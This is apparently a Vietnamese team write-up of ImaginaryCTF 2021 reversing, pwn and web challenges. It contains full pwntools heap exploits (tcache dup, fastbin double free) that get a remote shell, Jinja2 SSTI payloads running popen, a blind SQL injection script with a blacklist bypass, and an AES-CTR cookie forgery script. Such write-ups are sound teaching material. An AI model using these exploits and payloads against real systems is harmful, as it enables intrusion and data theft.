    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 10;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 5;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 10;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr += 1;
    tape[ptr] += 7;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 7;
        ptr += 1;
        tape[ptr] -= 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 19;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 8;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 8;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 13;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 7;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 8;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 8;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 13;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 11;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 10;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 10;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 1;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 11;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 11;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 4;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 5;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 1;
    tape[ptr] += 12;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 12;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 1;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 19;
        ptr += 1;
        tape[ptr] += 1;
    }
    ptr += 2;
    tape[ptr] += 6;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] += 6;
        ptr += 1;
        tape[ptr] -= 1;
    }
    tape[ptr] -= 2;
    while (tape[ptr] != 0)
    {
        ptr -= 1;
        tape[ptr] -= 2;
        ptr += 1;
        tape[ptr] += 1;
    }
    tape[ptr] += 1;
    ptr -= 1;
    while (tape[ptr] != 0)
    {
        ptr += 1;
        while (tape[ptr] != 0)
        {
            tape[ptr] -= 1;
            ptr += 1;
            tape[ptr] += 1;
            ptr += 1;
            tape[ptr] += 2;
            ptr -= 2;
        }
        ptr += 2;
        while (tape[ptr] != 0)
        {
            tape[ptr] -= 1;
            ptr -= 2;
            tape[ptr] += 1;
            ptr += 2;
        }
        ptr -= 1;
        while (tape[ptr] != 0)
        {
            while (tape[ptr] != 0)
            {
                ptr -= 1;
            }
            ptr -= 1;
            while (tape[ptr] != 0)
            {
                ptr -= 1;
            }
            ptr += 1;
            printf("%c",tape[ptr]);
            while (tape[ptr] != 0)
            {
                ptr += 1;
            }
            ptr += 1;
            while (tape[ptr] != 0)
            {
                ptr += 1;
            }
            ptr -= 1;
            tape[ptr] -= 1;
        }
        while (tape[ptr] != 0)
        {
            ptr -= 1;
        }
        ptr -= 1;
        while (tape[ptr] != 0)
        {
            ptr -= 1;
        }
        ptr -= 1;
        while (tape[ptr] != 0)
        {
            ptr -= 1;
        }
        ptr += 1;
        while (tape[ptr] != 0)
        {
            tape[ptr] -= 1;
        }
        ptr += 1;
        while (tape[ptr] != 0)
        {
            ptr += 1;
        }
        ptr += 1;
        tape[ptr] -= 1;
    }
}

Nhìn sơ qua đoạn code thì ta có thể thấy được 2 phần chính: phần khởi tạo giá trị cho mảng tape và phần in ra các giá trị. Mình ngồi dọc chương trình được 1 lúc thì thấy rằng flag được lưu từ 0 đến 31, vì thế mình chỉ việc in ra flag.

ictf{0n3_ch@r@ct3r_0f_d1f3r3nce}

P/s

Bài Fewer Thoughts, Head Emptier tương tự như bài này nên mình sẽ không viết Write Up bài đó. Nếu có thắc mắc về bài đó các bạn có thể liên lạc cá nhân với mình.

normal

Challenge

Entry point

File: normal.v Makefile

Solve:

Sau khi một hồi tham khảo google thì mình biết file normal.v được viết bằng ngôn ngữ Verilog, còn file Makefile chỉ để compile file normal.v và chạy chương trình.
Lúc này mình cảm thấy rất làm biếng học về Verilog, nên mình quyết định đoán cách hoạt động của từng lệnh trong chương trình, và mình đã đoán đúng :D

Entry point

Mình đổi thử biến flag từ hex sang strings thì kết quả là ictf{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}
Sau đó mình nhìn lên module normal

Entry point

Mình nghĩ biến in sẽ là flag ta nhập, còn out sẽ đưa ra kết quả đúng hay sai dựa trên kết quả của các phép biến đổi. Suy nghĩ hướng đi như thế, mình dùng z3 để giải bài này như sau:

script.py

from z3 import *
a = int('44940e8301e14fb33ba0da63cd5d2739ad079d571d9f5b987a1c3db2b60c92a3', 16)
b = int('d208851a855f817d9b3744bd03fdacae61a70c9b953fca57f78e9d2379814c21', 16)
s = Solver()
flag, c1, c2, w1, w2, w3, w4, w5, w6, w7, w8, out = BitVecs('flag c1 c2 w1 w2 w3 w4 w5 w6 w7 w8 out', 32 * 8)
c1 = a
c2 = b
s.add(w1 == ~(flag | c1))
s.add(w2 == ~(flag | w1))
s.add(w3 == ~(w1 | c1))
s.add(w4 == ~(w2 | w3))
s.add(w5 == ~(w4 | w4))
s.add(w6 == ~(w5 | c2))
s.add(w7 == ~(w5 | w6))
s.add(w8 == ~(c2 | w6))
# out = 
s.add((~(w7 | w8)) == 0)
print(s.check())
print(s.model())

Và mình bất ngờ khi nó ra được kết qu. Đổi kết quả từ decimal sang string text

ictf{A11_ha!1_th3_n3w_n0rm_n0r!}

roolang

Challenge

Entry point

File: roolang.zip

Solve:

Mình unzip file ra thì thấy có tổng cộng 7 file, có 1 file chạy được là roolang.py. Mình chạy thử thì kết quả trả về là Usage: ./roolang.py [filename.roo]. Lúc này mình nghĩ file cần thêm vào sẽ là flag.roo thì nó in ra flag một hồi sau đó bị đứng máy. Mình biết ngay đây là một bài tối ưu hoá thuật toán kết hợp với Virtual Machine.
Để dễ hình dung, thì mình sẽ nói sơ về cách mình tiếp cận bài này:

Với 2 suy nghĩ trên, mình liền debug cùng với chiến thuật trên. Một hồi thì minh biết được chương trình sẽ tạo ra 1 mảng giá trị, sau đó sẽ xor từng giá trị trong mảng bắt đầu từ vị trị cuối cùng với dãy số fibonacci ở vị trí tương ứng. Tới đây mình chỉ viết script và in ra kết quả:

script.py

a = [0, 14472334024676096, 8944394323791450, 5527939700884769, 3416454622906725, 2111485077978096, 1304969544928756, 806515533049347, 498454011879172, 308061521170150, 190392490709200, 117669030460982, 72723460248127, 44945570212756, 27777890035307, 17167680177653, 10610209857675, 6557470319826, 4052739537835, 2504730782038, 1548008755937, 956722025992, 591286729974, 365435296253, 225851433664, 139583862488, 86267571223, 53316291075, 32951280083, 20365011165, 12586268949, 7778742098, 4807527027, 2971214979, 1836311808, 1134903217, 701408693, 433494481, 267914343, 165580035, 102334114, 63246016, 39088153, 24157707, 14930304, 9227513, 5702805, 3524541, 2178357, 1346217, 832119, 514176, 317697, 196465, 121346, 75129, 46403, 28590, 17692, 10993, 6687, 4157, 2668, 1606, 957, 534, 282, 128, 176, 42, 94, 2, 114, 108, 100, 99, 35, 103, 105, 85]
f = [1, 1, 2]
for i in range(78):
    f.append(f[i+1] + f[i+2])
for i in range(79):
    # print(f[i], a[80-i-1])
    print(chr(a[80-i-1] ^ f[i]),end="")

ictf{thr33_ch33r5_t0_r00r0bin_th3_b3st_0f_u5_a11_r00h3art_7d2e2642}

strings

Challenge

Entry point

File: stings

Solve:

Đưa vào IDA Pro nhìn lướt sơ:

Entry point

Nhìn vô ta liền thấy một đoạn văn bản được copy vào biến v6, và sau đó lấy biến v5 là biến input từ bàn phím, so sánh với các kí từ của v6 trừ đi 1. Mình viết script để decode v6:

a = "jdug|tus2oht`5s4ou`i2ee4o`28c32b7:~"
for i in a:
    print(chr(ord(i) - 1), end = "")

ictf{str1ngs_4r3nt_h1dd3n_17b21a69}

PWN

pivik

Memory pile

Đây là 1 bài heap khá cơ bản.

Reversing the binary

Chương trình có 3 hàm chính khá quen thuộc khi làm các challenge về heap.

_QWORD *acquire()
{
  int idx; // ebx
  void *chunk; // rcx
  _QWORD *result; // rax
  idx = read();
  chunk = malloc(0x20uLL);
  result = mem;
  mem[idx] = chunk;
  return result;
}
__int64 read()
{
  int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
  v2 = __readfsqword(0x28u);
  printf("With great power comes great responsibility > ");
  __isoc99_scanf("%d", &idx);
  if ( idx < 0 || idx > 3 )
    exit(1);
  return (unsigned int)idx;
}

Hàm acquire() cho phép malloc 1 size cố định là 0x20.

void release()
{
  int idx; // eax
  idx = read();
  free((void *)mem[idx]);
}

free không null => UAF, double free.

__int64 fill()
{
  int idx; // [rsp+Ch] [rbp-4h]
  idx = read();
  printf("Let me have it, boss > ");
  return __isoc99_scanf("%31s", mem[idx]);
}

Hàm main() cho sẵn luôn địa chỉ hàm printf nên không cần phải tìm cách leak libc.

...
  printf("Welcome. I'll keep it simple.\nI'll even give you a present, if you manage to unwrap it...\n%p\n", &printf);
...

Dựa vào file libc đề cho là 2.27 là có tcache, mà ở bản 2.27 thì tcache không check việc double free => Tcache dup về __free_hook rồi ghi đè __free_hook bằng one_gadget.

Exploit code:

from pwn import *
elf = ELF('./memory_pile')
libc = ELF('./libc-2.27.so')
# p = elf.process()
p = remote('chal.imaginaryctf.org', 42007)
def malloc():
    p.recv()
    p.sendline('1')
    p.recv()
    p.sendline('1')
def free():
    p.recv()
    p.sendline('2')
    p.recv()
    p.sendline('1')
def edit(data):
    p.recv()
    p.sendline('3')
    p.recv()
    p.sendline('1')
    p.recv()
    p.sendline(bytes(data))
p.recvuntil('...\n')
leak_addr = int(p.recvline().strip(), 16)
log.info('leak_addr: ' + hex(leak_addr))
libc_base = leak_addr - libc.sym['printf']
log.info('libc_base: ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
log.info('__free_hook: ' + hex(free_hook))
one_gadget = libc_base + 0x4f3c2
log.info('one_gadget: ' + hex(one_gadget))
malloc()
free()
free()
edit(p64(free_hook))
malloc()
malloc()
edit(p64(one_gadget))
free()
p.interactive()
$ python3 solve_memory.py
[*] '/home/pivik/CTF/imaginary/2021/pwn/memory_pile/memory_pile'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./'
[*] '/home/pivik/CTF/imaginary/2021/pwn/memory_pile/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal.imaginaryctf.org on port 42007: Done
[*] leak_addr: 0x7f4a7b18ef00
[*] libc_base: 0x7f4a7b12a000
[*] __free_hook: 0x7f4a7b5178e8
[*] one_gadget: 0x7f4a7b1793c2
[*] Switching to interactive mode
$ ls
flag.txt
ld-2.27.so
libc-2.27.so
run
$ cat flag.txt
ictf{hemlock_for_the_tcache}

Gotta Go Fast

//pivik ft shawking Bài này đề cho sẵn source code luôn nên mình đỡ phải reverse lại.

#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
typedef struct Tribute {
    char name[100];
    short district;
    short index_in_district;
} Tribute;
typedef struct TributeList {
    Tribute* tributes[100];
    struct TributeList* next;
    int in_use;
} TributeList;
TributeList* head;
int list_append(Tribute* t) {
    int offset = 0;
    TributeList* cur = head;
    while (cur->in_use == 100) {
        if (cur->next == NULL) {
            cur->next = malloc(sizeof(TributeList));
            cur->next->next = NULL;
            cur->next->in_use = 0;
        }
        offset += 100;
        cur = cur->next;
    }
    offset += cur->in_use;
    cur->tributes[cur->in_use++] = t;
    return offset;
}
void list_remove(int idx) {
    TributeList* last = head;
    while (last->next != NULL) {
        if (last->next->in_use == 0) {
            free(last->next);
            last->next = NULL;
            break;
        }
        last = last->next;
    }
    TributeList* cur = head;
    while ((cur->in_use == 100 && idx >= 100)) {
        if (!cur->next) {
            abort();
        }
        cur = cur->next;
        idx -= 100;
    }
    Tribute* t = last->tributes[last->in_use - 1];
    last->tributes[last->in_use - 1] = cur->tributes[idx];
    free(last->tributes[last->in_use - 1]);
    cur->tributes[idx] = t;
    last->in_use--;
}
int readint(int lo, int hi) {
    int res = -1;
    while (1) {
        printf("> ");
        scanf("%d", &res);
        if (res >= lo && res <= hi) {
            return res;
        }
    }
}
void init() {
    head = malloc(sizeof(TributeList));
    head->next = NULL;
    head->in_use = 0;
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    alarm(180);
}
void menu() {
    puts("What would you like to do?");
    puts(" [0] Draft a new tribute");
    puts(" [1] Remove a tribute from the list (because someone volunteered in their place again, people should really stop doing that, it messes with our management system)");
    puts(" [2] See an overview of the current tributes");
    puts(" [3] Start the games, may the odds be ever in your favor!");
}
void draft() {
    Tribute* t = malloc(sizeof(Tribute));
    puts("For which district will this tribute fight?");
    t->district = readint(1, 12);
    puts("What's the position among the tributes for this district?");
    t->index_in_district = readint(1, 2);
    puts("Least importantly, what's their name?");
    scanf("%99s", t->name);
    printf("Noted, this is tribute %d\n", list_append(t));
}
void undraft() {
    puts("Which tribute should be undrafted?");
    int idx = readint(0, INT_MAX);
    list_remove(idx);
    puts("done.");
}
void list() {
    int idx = 0;
    TributeList* cur = head;
    while (cur) {
        for (int i = 0; i < cur->in_use; i++, idx++) {
            Tribute* t = cur->tributes[i];
            printf("Tribute %d [%s] fights in position %d for district %d.\n", idx, t->name, t->index_in_district, t->district);
        }
        cur = cur->next;
    }
}
void run() {
    puts("TODO: implement this simulation into the matrix.");
    exit(0);
}
int have_diagnosed = 0;
void diagnostics() {
    if (have_diagnosed) {
        puts("I understand things might be broken, but we should keep some semblance of security.");
        abort();
    }
    have_diagnosed = 1;
    puts("I take it the management system was ruined by volunteers again? Just let me know which memory address you need...");
    unsigned long long x = 0;
    scanf("%llu", &x);
    printf("%p\n", *(void**)x);
}
int main() {
    init();
    puts("Welcome to the Hunger Games management system.");
    while (1) {
        menu();
        int choice = readint(0, 4);
        switch (choice) {
            case 0:
                draft();
                break;
            case 1:
                undraft();
                break;
            case 2:
                list();
                break;
            case 3:
                run();
                break;
            case 4:
                diagnostics();
                break;
            default:
                abort(); // Shouldn't happen anyway
        }
    }
}

Hàm diagnostics() là hàm được dùng để leak địa chỉ.

Chương trình có lỗi use after free ở hàm list_remove():

void list_remove(int idx) {
...
    Tribute* t = last->tributes[last->in_use - 1];
    last->tributes[last->in_use - 1] = cur->tributes[idx];
    free(last->tributes[last->in_use - 1]);
    cur->tributes[idx] = t;
    last->in_use--;
}

Bài này sẽ sử dụng double freefastbin attack, các bạn có thể tham khảo thêm tại các nguồn sau:

Có 1 cách giải mà không cần dùng tới fastbin attack, các bạn có thể tham khảo wu của a shawking tại đây

Đầu tiên mình sẽ malloc 2 chunk:

add(b'a')
add(b'b')

Sau đó sử dụng lỗi double free:

free(1)
free(0)
free(1)
free(0)

Lúc này fastbin sẽ là [0->1->0->1].

Add lại 1 chunk:

add(p64(malloc_hook - 35))

Lý do mình không return về __malloc_hook luôn mà return về __malloc_hook - 35 là do khi malloc chunk fastbin có 1 đoạn check:

 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }

Đoạn check này sẽ check phần size có nằm trong phần fastbin size của chunk được malloc không. Do các chunk mà ta sử dụng có size là 0x70 nên khi malloc lại thì phần chunk return cũng phải là 0x7x. Vậy nên nếu return về __malloc_hook thì:

pwndbg> x/4gx 0x7fafb3aefb10
0x7fafb3aefb10 <__malloc_hook>:   0x0000000000000000  0x0000000000000000
0x7fafb3aefb20: 0x0000000000000000  0x0000000000000000

phần size sẽ là 0. Vậy __malloc_hook - 35 thì sẽ thế nào?

pwndbg> x/4gx 0x7fafb3aefb10-35
0x7fafb3aefaed: 0xafb3aee260000000  0x000000000000007f
0x7fafb3aefafd: 0xafb37b0ea0000000  0xafb37b0a7000007f

size sẽ là 0x7f => toẹt zời.

Malloc lại 3 lần nữa chunk return sẽ là __malloc_hook - 35. Sau đó thì ghi đè __malloc_hook bằng one_gadget.

add(b'c')
add(b'd')
add(b'e'*19 + p64(one_gadget))

Exploit code:

from pwn import *
elf = ELF('./gotta_go_fast')
libc = ELF('./libc.so.6')
# p = elf.process()
p = remote('chal.imaginaryctf.org', 42009)
def add(data):
    p.sendlineafter('> ', '0')
    p.sendlineafter('> ', '1')
    p.sendlineafter('> ', '1')
    p.sendlineafter('name?\n', bytes(data))
    log.info('ADD!')
def free(idx):
    p.sendlineafter('> ', '1')
    p.sendlineafter('> ', str(idx))
    log.info('FREE!')
p.recv()
p.sendline('4')
p.recv()
p.sendline('6299552')
# p.recvline()
leaked_addr = int(p.recvline().strip(), 16)
log.info('leaked_addr: ' + hex(leaked_addr))
libc_base = leaked_addr - libc.sym['free']
log.info('libc_base: ' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
log.info('__malloc_hook: ' + hex(malloc_hook))
one_gadget = libc_base + 0xf0364
log.info('one_gadget: ' + hex(one_gadget))
add(b'a')
add(b'b')
free(1)
free(0)
free(1)
free(0)
add(p64(malloc_hook - 35))
add(b'c')
add(b'd')
add(b'e'*19 + p64(one_gadget))
p.sendlineafter('> ', '0')
p.interactive()
$ python3 solve_gotta_go_fast.py
[*] '/home/pivik/CTF/imaginary/2021/pwn/gotta_go_fast/gotta_go_fast'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
[*] '/home/pivik/CTF/imaginary/2021/pwn/gotta_go_fast/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal.imaginaryctf.org on port 42009: Done
[*] leaked_addr: 0x7fb86134f540
[*] libc_base: 0x7fb8612cb000
[*] __malloc_hook: 0x7fb86168fb10
[*] one_gadget: 0x7fb8613bb364
[*] ADD!
[*] ADD!
[*] FREE!
[*] FREE!
[*] FREE!
[*] FREE!
[*] ADD!
[*] ADD!
[*] ADD!
[*] ADD!
[*] Switching to interactive mode
$ ls
admin.zip
flag.txt
ld-2.23.so
libc-2.23.so
run
$ cat flag.txt
ictf{s4n1c_w1ns_th3_hung3r_G4M3S!}

WEB

Saved sources: https://github.com/th13ntc/ctf-source-saved/tree/main/imaginaryCTF2021 dtro

Roos World

Vào view-source thì thấy đoạn script dưới, theo kinh nghiệm chơi ctf thì mình biết đây là mã hóa jsfuck

Ta vào đây để decode đoạn mã trên

Chạy đoạn mã trên ta được flag

FLAG: ictf{1nsp3ct0r_r00_g0es_th0nk}

th13ntc

SaaS

Source code được đưa thì biết được cần request đến /backend một param query để server thực hiện một đoạn sed command.

Payload: -n '1p' fl*.txt

FLAG: ictf{:roocu:roocu:roocu:roocu:roocu:roocursion:rsion:rsion:rsion:rsion:rsion:_473fc2d1}

Build-A-Website

Ta có có source code: Những gì mình nhập vào sẽ được b64 enc truyền vào param content để làm url sau đó lại b64 dec rồi được render. Không khó để nhận biết là một dạng SSTI nhưng cái khó là bypass blacklist. Payload SSTI bình thường:

{{''.__class__.mro()[1].__subclasses__[360].(['cat', 'f*.txt'], stdout=-1).communicate()}}

Có thể là concat string hoặc như mình chọn cách sử dụng request.args.get. 360 là mình có thể dễ dàng tìm đếm được khi show all class.

Payload:

/site?content=e3sgJydbcmVxdWVzdC5hcmdzLmdldCgnYycpXS5tcm8oKVsxXVtyZXF1ZXN0LmFyZ3MuZ2V0KCdzJyldKClbMzYwXShbJ2NhdCcsICdmbGFnLnR4dCddLCBzdGRvdXQ9LTEpLmNvbW11bmljYXRlKCkgfX0%3D&c=class&s=subclasses

FLAG: ictf{:rooYay::rooPOG::rooHappy:_:rooooooooooooooooooooooooooo:}

#Một số payload lượm được, lưu ở đây
#1 from TheBadGod
{{url_for["__globa""ls__"].__builtins__.open("flag.txt").read()}}
#2 from puzzler7
{{request|attr('app\x6cication')\
|attr('\x5f\x5fg\x6co\x62a\x6cs\x5f\x5f')\
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5f\x62ui\x6ctins\x5f\x5f')\
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')\
|attr('popen')('cat flag.txt')|attr('read')()}}

Awkward_Bypass

Trong source code thì dễ dàng biết được đây là một bài Sql injection:

Cái khó khăn ban đầu là phải vượt qua được blacklist :

blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "IN", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"] 

Nhưng may mắn thay vì đoạn kiểm tra thì sẽ xóa những ký tự trong blacklist nhưng lại không xóa đệ quy:

Thử với payload đơn giản: ' oorr 1=1 -- -

Đăng nhập thành công nhưng không có flag, và việc đầu tiên mình nghĩ là có thể nằm ở column khác hoặc table khác hoặc là password. Việc gì dễ làm trước. Bruteforce password, dùng signature blind sqli.

from enum import Flag
import requests
url = 'https://awkward-bypass.chal.imaginaryctf.org/user'
charlist = ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
flag = ''
for j in range(1, 35):
    for c in charlist:
        myobj = {
            "username": f"' oorr (substr((SESELECTLECT paassswoorrd FRFROMOM users LILIMITMIT 0, 1), {j}, 1) = '{c}') -- -",
            "password": "' oorr 1=1 -- -"
        }
        x = requests.post(url, data=myobj)
        if ("Ummmmmmm, did you expect a flag to be here?" in x.text):
            flag += c
            print(c)
            break
print(flag)
# ictf{n1c3_fil73r_byp@ss_7130676d}

Cookie Stream

Bài này liên quan rất nhiều tới crypto nên mình khá ngại :< nhưng rất may nhờ mình đã xem lại bài More Cookie picoCTF2021 kết hợp sự chỉ bảo tận tình của thằng bạn từng là "tô thủ" nên mình solved <3

Trong source code sẽ tóm tắt các việc như sau: Đăng nhập thành công -> Tạo cookie (AES CTR mode) -> Chuyển tới /home -> Check xem cookie có phải admin không? -> Phải thì flag không thì cút Mình có 1 danh sách username và password đã sha:

Ngoại trừ admin ra thì mình để có thể dùng tool https://md5decrypt.net/en/Sha512/ để decrypt, mình pick đại thằng ImaginaryCTFUser có password là idk.

Tìm hiểu về cách encrypt và và decrypt của AES CTR mode:

Sau vài tiếng sử dụng bộ não sợ crypto ngẫm nghĩ thì tìm được một cách giải:

import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from binascii import hexlify, unhexlify
import re
def xor_bytes(bA, bB):
    return bytes([a ^ b for a, b in zip(bA, bB)])
# Login and get cookie
url_login = 'https://cookie-stream.chal.imaginaryctf.org/backend'
obj = {
    "username": "ImaginaryCTFUser",
    "password": "idk"
}
req = requests.Session()
req.post(url=url_login, data=obj)
cookie = req.cookies["auth"]
# cookie = "1e9ab9db51d7fabcf410c9ed0a35fbfa8c5981b3c26383fc1fe49661440be237cde3a73ab5725c1f"
print(f"[+] Cookie\t: {cookie} {len(cookie)}")
# Parse cookie and find key
nonce = cookie[:16]
cipher_text_ImaginaryCTFUser = unhexlify(cookie[16:])
plain_text_ImaginaryCTFUser = pad("ImaginaryCTFUser".encode(), 16)
key = xor_bytes(cipher_text_ImaginaryCTFUser, plain_text_ImaginaryCTFUser)
print(f"[+] Plaintext\t: {hexlify(plain_text_ImaginaryCTFUser)}")
print(f"[+] Cipher\t: {hexlify(cipher_text_ImaginaryCTFUser)}")
print(f"[+] Key\t\t: {hexlify(key)}")
# Find cipher of admin
plain_text_admin = pad("admin".encode(), 16)
cipher_text_admin = xor_bytes(key, plain_text_admin)
print(f"[+] Plaintext_admin\t: {hexlify(plain_text_admin)}")
print(f"[+] Cipher_admin\t: {hexlify(cipher_text_admin)}")
# Hexify and add nonce
cookie_admin = nonce + hexlify(cipher_text_admin).decode()
print(f"[+] Cookie_admin\t: {cookie_admin} {len(cookie_admin)}")
# GET flag
url_home = "https://cookie-stream.chal.imaginaryctf.org/home"
req.cookies.set("auth", cookie_admin)
res = req.get(url=url_home)
if ("ictf{" in res.text):
    print(re.findall("ictf\{[ -z|~]+\}", res.text)[0])

FLAG: ictf{d0nt_r3us3_k3ystr34ms_b72bfd21}

Destructoid

Truyền param ?source để xem source code:

<?php
$printflag = false;
class X {
    function __construct($cleanup) {
        if ($cleanup === "flag") {
            die("NO!\n");
        }
        $this->cleanup = $cleanup;
    }
    function __toString() {
        return $this->cleanup;
    }
    function __destruct() {
        global $printflag;
        if ($this->cleanup !== "flag" && $this->cleanup !== "noflag") {
            die("No!\n");
        }
        include $this->cleanup . ".php";
        if ($printflag) {
            echo $FLAG . "\n";
        }
    }
}
class Y {
    function __wakeup() {
        echo $this->secret . "\n";
    }
    function __toString() {
        global $printflag;
        $printflag = true;
        return (new X($this->secret))->cleanup;
    }
}
if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}
echo "ecruos? ym dnif uoy naC\n";
if (isset($_SERVER['HTTP_X_PAYLOAD'])) {
    unserialize(base64_decode($_SERVER['HTTP_X_PAYLOAD']));
}

Nhìn sơ qua thì có thể biết đây là một bài khai thác unserialize vulnerability. Ở line 45 ý nói rằng mình phải send 1 trường header X-PAYLOAD để có thể đưa giá trị của trường này vào thực hiện unserialize().

Ban đầu mình cực kì khó khăn...

  • Nếu unserialize trực tiếp X thì không in flag.
  • Nếu unserialize Y thì không trigger được __toString().
  • Giả sử nếu call được toString() thì làm sao để né construct() của X

Serialize của object Y (giả sử $secret='flag') sẽ như sau: O:1:"Y":1:{s:6:"secret";s:4:"flag";} Để giải quyết khó khăn mình đi vào từng vấn đề, chủ yếu sử dụng lồng ghép các object với nhau:

Đại loại: new X(new X(new Y('flag')))

